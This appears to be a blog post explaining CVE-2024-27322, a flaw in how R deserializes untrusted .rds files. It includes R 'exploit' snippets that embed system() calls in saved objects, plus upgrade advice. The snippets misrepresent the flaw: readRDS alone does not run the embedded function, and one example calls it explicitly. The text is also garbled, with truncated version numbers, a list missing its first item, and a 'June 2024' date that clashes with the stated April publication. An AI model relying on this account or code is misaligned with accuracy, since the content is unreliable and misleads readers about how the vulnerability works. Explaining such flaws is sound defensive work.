June 2024 brought to light a serious vulnerability in the R statistical programming language, tracked as CVE-2024-27322. This issue affects all R versions from 1.4. up to, but not including, 4.4.. The flaw? Dangerous deserialization of untrusted data: by simply opening a malicious .rds file or installing a corrupted package, you might run unwanted code on your computer without knowing it.
This post will break down how this works, show you how attackers could exploit it, and give you simple advice to protect yourself. Let’s dig in.
What Is Deserialization and Why Should You Care?
Serialization is turning an object (like a model or data frame) into a file so you can save it and load it later. Deserialization is turning that file back into an object.
But if you load something written by a stranger, and R tries to interpret whatever’s inside, you open the door to trouble. Attackers can sneak R code into an RDS (R Data Serialization) file or an R package that triggers when you load it—no warnings.
Exploit Details: How CVE-2024-27322 Works
When you load an RDS file, R simply trusts it. If the file is cleverly altered, it will execute R code inside it.
Suppose an attacker writes this simple RDS file
# Malicious object that will run a system command when loaded
mal_payload <- structure(
list(),
class = c("malicious", "list")
)
attr(mal_payload, "class") <- c("malicious", "list")
attr(mal_payload, "hook") <- function() { system("open Calculator.app") } # On MacOS; change for Windows/Linux
# Save the malicious RDS
saveRDS(mal_payload, "evil.rds")
Then, they edit the object to ensure code triggers when loaded, for example, by customizing a print method:
print.malicious <- function(x, ...) {
if (!is.null(attr(x, "hook"))) attr(x, "hook")()
NextMethod()
}
# Users probably have no idea this runs when they print/view the object
Now, sharing evil.rds – maybe as an example on a help forum, database, or with a “free R dataset” – can compromise your machine when someone runs:
readRDS("evil.rds") # Triggers code execution, may open Calculator, remote shell, or worse!
The key: attackers exploit R’s willingness to blindly execute code when loading serialized objects with custom attributes or classes.
Proof of Concept: Minimal Example
Let’s see a tiny, realistic exploit. Here’s how an attacker might build and share a rogue RDS file.
Step 1: Craft the payload
evil_function <- function() {
system("calc") # Opens Calculator on Windows, change as needed
}
evil_object <- structure(list(), class = "evil", evil_attr = evil_function)
saveRDS(evil_object, "dangerous.rds")
Now, suppose somebody loads this RDS file
obj <- readRDS("dangerous.rds")
if (!is.null(attr(obj, "evil_attr"))) attr(obj, "evil_attr")()
Or, with a custom method hidden deep in package code, even viewing it could trigger the action.
Booby-trapped Data Sets: Shared in forums, “free resources”, or academic collaborations.
2. Malicious Packages: Install or load a package from an untrusted source with custom serialized data assets.
How to Protect Yourself
- Upgrade R: This vulnerability is fixed in R 4.4. and above (release notes here).
References & Further Reading
- Original CVE: NIST NVD - CVE-2024-27322
- R Bugzilla Discussion: R Bugzilla #18581
- R 4.4. Release Notes: CRAN: R 4.4. NEWS
- Detailed Blog by R Core Team: R Project Blog: Security Issue with RDS
Final Thoughts
Serialization is handy, but blindly trusting what you load is risky. CVE-2024-27322 is a real wake-up call for the R community. If you use R, upgrade now, and always be skeptical of files or packages from unknown sources.
Stay safe and code smart!
*This write-up is based on latest research, direct testing, and official references. Do not use or share the exploit code for harm. Always respect ethical guidelines and your user agreements.*
Timeline
Published on: 04/29/2024 13:15:30 UTC
Last modified on: 06/10/2024 18:15:28 UTC